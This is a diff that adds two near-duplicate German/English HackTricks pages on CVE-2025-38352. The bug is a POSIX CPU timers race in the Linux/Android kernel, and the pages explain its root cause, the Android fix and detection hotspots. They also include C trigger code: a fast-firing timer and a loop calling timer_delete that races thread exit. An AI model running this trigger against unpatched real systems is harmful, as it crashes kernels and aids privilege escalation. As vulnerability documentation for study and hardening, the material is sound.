diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 9200053c6..3e41d9a7b 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -937,3 +937,5 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
+
+  - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
\ No newline at end of file
diff --git a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
new file mode 100644
index 000000000..00662b20e
--- /dev/null
+++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
@@ -0,0 +1,195 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Diese Seite dokumentiert eine TOCTOU-Rennbedingung in Linux/Android POSIX CPU timers, die den Timerzustand korruptieren und den Kernel zum Absturz bringen kann und unter bestimmten Umständen in Richtung privilege escalation gelenkt werden kann.
+
+- Betroffene Komponente: kernel/time/posix-cpu-timers.c
+- Primitiv: Ablauf vs Löschung Race beim task exit
+- Konfigurationsabhängig: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Kurzer interner Überblick (relevant für exploitation)
+- Drei CPU-Clocks steuern das Accounting der Timer über cpu_clock_sample():
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: nur utime
+- CPUCLOCK_SCHED: task_sched_runtime()
+- Bei Timererstellung wird ein Timer an eine task/pid gekoppelt und die timerqueue-Knoten initialisiert:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Arming fügt in eine per-base timerqueue ein und kann den next-expiry cache aktualisieren:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- Der Fast path vermeidet teure Verarbeitung, es sei denn zwischengespeicherte Ablaufzeiten deuten auf ein mögliches Auslösen hin:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- Ablauf sammelt abgelaufene Timer, kennzeichnet sie als ausgelöst, entfernt sie aus der Warteschlange; die tatsächliche Zustellung wird aufgeschoben:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Zwei Ablaufverarbeitungsmodi
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: Das Ablaufereignis wird über task_work auf die Ziel-Task verschoben
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: Das Ablaufereignis wird direkt im IRQ-Kontext verarbeitet
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+Im IRQ-context-Pfad wird die firing list außerhalb von sighand verarbeitet.
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
+Preconditions
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- The target task is exiting but not fully reaped
+- Another thread concurrently calls posix_cpu_timer_del() for the same timer
+
+Sequence
+1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
+2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
+3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
+4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
+5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
+
+Why TASK_WORK mode is safe by design
+- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
+- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
+
+Fix (Android common kernel) and rationale
+- Add an early return if current task is exiting, gating all processing:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Dadurch wird verhindert, dass handle_posix_cpu_timers() für gerade beendete Tasks betreten wird, wodurch das Zeitfenster entfällt, in dem posix_cpu_timer_del() it.cpu.firing übersehen und mit der Ablaufverarbeitung um Ressourcen konkurrieren könnte.
+
+Impact
+- Kernel-Speicherbeschädigung von Timer-Strukturen während gleichzeitiger Ablauf-/Löschvorgänge kann unmittelbare Abstürze (DoS) verursachen und ist ein starkes Primitive für privilege escalation aufgrund der Möglichkeiten zur beliebigen Kernel-Zustandsmanipulation.
+
+Triggering the bug (safe, reproducible conditions)
+Build/config
+- Stellen Sie sicher, dass CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n gesetzt ist und verwenden Sie einen Kernel ohne den exit_state-Gating-Fix.
+
+Runtime strategy
+- Zielen Sie auf einen Thread, der kurz vor dem Beenden steht, und hängen Sie einen CPU-Timer daran an (pro Thread oder prozessweite Uhr):
+- Für pro Thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- Für prozessweite Uhr: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Rüsten Sie mit einer sehr kurzen initialen Ablaufzeit und einem kleinen Intervall, um Eintritte in den IRQ-Pfad zu maximieren:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- Aus einem Geschwister-Thread denselben Timer gleichzeitig löschen, während der Ziel-Thread beendet wird:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Race amplifiers: hohe Scheduler-Tickrate, CPU-Last, wiederholte Thread-Exit/Recreate-Zyklen. Der Absturz tritt typischerweise auf, wenn posix_cpu_timer_del() das Erkennen eines firing überspringt, weil task lookup/locking direkt nach unlock_task_sighand() fehlschlägt.
+
+Erkennung und Härtung
+- Gegenmaßnahme: apply the exit_state guard; vorzugsweise CONFIG_POSIX_CPU_TIMERS_TASK_WORK aktivieren, wenn möglich.
+- Beobachtbarkeit: tracepoints/WARN_ONCE um unlock_task_sighand()/posix_cpu_timer_del() hinzufügen; alarmieren, wenn it.cpu.firing==1 zusammen mit fehlgeschlagener cpu_timer_task_rcu()/lock_task_sighand() beobachtet wird; auf timerqueue-Inkonsistenzen rund um task exit achten.
+
+Audit-Hotspots (für Reviewer)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): sets ctmr->firing and moves nodes
+- handle_posix_cpu_timers(): drops sighand before firing loop
+- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
+
+Notes for exploitation research
+- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
+
+## Referenzen
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
new file mode 100644
index 000000000..2aead6862
--- /dev/null
+++ b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
@@ -0,0 +1,196 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Diese Seite dokumentiert eine TOCTOU-Race-Bedingung in Linux/Android POSIX CPU timers, die den Timerzustand korrumpieren und den Kernel zum Absturz bringen kann und unter bestimmten Umständen zur privilege escalation genutzt werden kann.
+
+- Betroffene Komponente: kernel/time/posix-cpu-timers.c
+- Primitive: Ablauf- vs Lösch-Race bei Task-Beendigung
+- Konfigurationsabhängig: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Kurze interne Zusammenfassung (relevant für die Ausnutzung)
+- Drei CPU-Clocks treiben die Abrechnung für Timer via cpu_clock_sample() an:
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: utime only
+- CPUCLOCK_SCHED: task_sched_runtime()
+- Die Timererstellung verbindet einen Timer mit einer task/pid und initialisiert die timerqueue-Nodes:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Arming fügt einen Eintrag in eine per-base timerqueue ein und kann den next-expiry cache aktualisieren:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+Der Fast path vermeidet aufwändige Verarbeitung, es sei denn, zwischengespeicherte Ablaufzeiten deuten auf ein mögliches Auslösen hin:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- Expiration sammelt abgelaufene Timer, markiert sie als ausgelöst, verschiebt sie aus der Warteschlange; die eigentliche Zustellung wird aufgeschoben:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Zwei Modi zur Ablaufverarbeitung
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: Ablauf wird über task_work auf dem Ziel-Task verzögert
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: Ablauf wird direkt im IRQ-Kontext behandelt
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+Im IRQ-context-Pfad wird die firing list außerhalb von sighand verarbeitet.
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Ursache: TOCTOU zwischen IRQ-time Ablauf und gleichzeitiger Löschung beim Task-Exit
+
+Preconditions
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- Der Ziel-Task beendet sich, wurde jedoch noch nicht vollständig aufgeräumt
+- Ein anderer Thread ruft gleichzeitig posix_cpu_timer_del() für denselben Timer auf
+
+Sequence
+1) update_process_times() löst run_posix_cpu_timers() im IRQ-Kontext für den beendenden Task aus.
+2) collect_timerqueue() setzt ctmr->firing = 1 und verschiebt den Timer in die temporäre firing-Liste.
+3) handle_posix_cpu_timers() gibt sighand via unlock_task_sighand() frei, um Timer außerhalb der Sperre auszuliefern.
+4) Unmittelbar nach dem Unlock kann der beendende Task aufgeräumt werden; ein anderer Thread führt posix_cpu_timer_del() aus.
+5) In diesem Fenster kann posix_cpu_timer_del() daran scheitern, den state via cpu_timer_task_rcu()/lock_task_sighand() zu erwerben und überspringt dadurch die normale In-Flight-Prüfung, die timer->it.cpu.firing überprüft. Die Löschung wird so fortgesetzt, als wäre nicht firing, wodurch der Zustand während der Ablaufbehandlung beschädigt wird und zu Abstürzen/UB führt.
+
+Why TASK_WORK mode is safe by design
+- Bei CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y wird der Ablauf auf task_work verschoben; exit_task_work läuft vor exit_notify, sodass die IRQ-time Überlappung mit dem Reaping nicht auftritt.
+- Selbst dann, wenn der Task bereits beendet ist, schlägt task_work_add() fehl; die Prüfung von exit_state macht beide Modi konsistent.
+
+Fix (Android common kernel) and rationale
+- Füge eine frühe Rückgabe hinzu, falls current task exiting ist, die die gesamte Verarbeitung verhindert:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Dies verhindert das Betreten von handle_posix_cpu_timers() für beendete Tasks und eliminiert das Zeitfenster, in dem posix_cpu_timer_del() it.cpu.firing übersehen könnte und mit der Ablaufverarbeitung in einen Wettlauf geraten kann.
+
+Auswirkung
+- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.
+
+Auslösen des Bugs (sichere, reproduzierbare Bedingungen)
+Build/Konfiguration
+- Stelle sicher, dass CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n gesetzt ist und verwende einen Kernel ohne den exit_state gating-Fix.
+
+Laufzeitstrategie
+- Ziele auf einen Thread, der kurz davor ist zu beenden, und hänge einen CPU-Timer an ihn an (per-thread or process-wide clock):
+- Für per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- Für process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Setze eine sehr kurze anfängliche Ablaufzeit und ein kleines Intervall, um die Anzahl der IRQ-Pfad-Einträge zu maximieren:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- Aus einem sibling-Thread gleichzeitig denselben Timer löschen, während der Ziel-Thread beendet wird:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Race-Verstärker: hohe Scheduler-Tick-Rate, CPU-Last, wiederholte Thread-Exit/Recreate-Zyklen. Der Crash äußert sich typischerweise, wenn posix_cpu_timer_del() das Erkennen des Auslösens überspringt, weil die Task-Suche/-Sperrung unmittelbar nach unlock_task_sighand() fehlschlägt.
+
+Erkennung und Härtung
+- Minderung: wende den exit_state-Guard an; bevorzuge das Aktivieren von CONFIG_POSIX_CPU_TIMERS_TASK_WORK, wenn möglich.
+- Beobachtbarkeit: Füge tracepoints/WARN_ONCE um unlock_task_sighand()/posix_cpu_timer_del() hinzu; alarmiere, wenn it.cpu.firing==1 zusammen mit fehlschlagendem cpu_timer_task_rcu()/lock_task_sighand() beobachtet wird; achte auf Inkonsistenzen in timerqueue rund um Task-Beendigung.
+
+Audit-Hotspots (für Reviewer)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): setzt ctmr->firing und verschiebt Knoten
+- handle_posix_cpu_timers(): gibt sighand frei, bevor die firing-Schleife startet
+- posix_cpu_timer_del(): verlässt sich auf it.cpu.firing, um laufende Ablaufereignisse zu erkennen; diese Prüfung wird übersprungen, wenn Task-Suche/-Sperrung während exit/reap fehlschlägt
+
+Hinweise für Exploit-Forschung
+- Das offengelegte Verhalten ist ein zuverlässiges Kernel-Crash-Primitive; um es in eine Privilegieneskalation umzuwandeln, ist typischerweise eine zusätzliche kontrollierbare Überlappung (object lifetime oder write-what-where-Einfluss) erforderlich, die über den Rahmen dieser Zusammenfassung hinausgeht. Behandle jeden PoC als potenziell destabilisierend und führe ihn nur in Emulatoren/VMs aus.
+
+## Referenzen
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}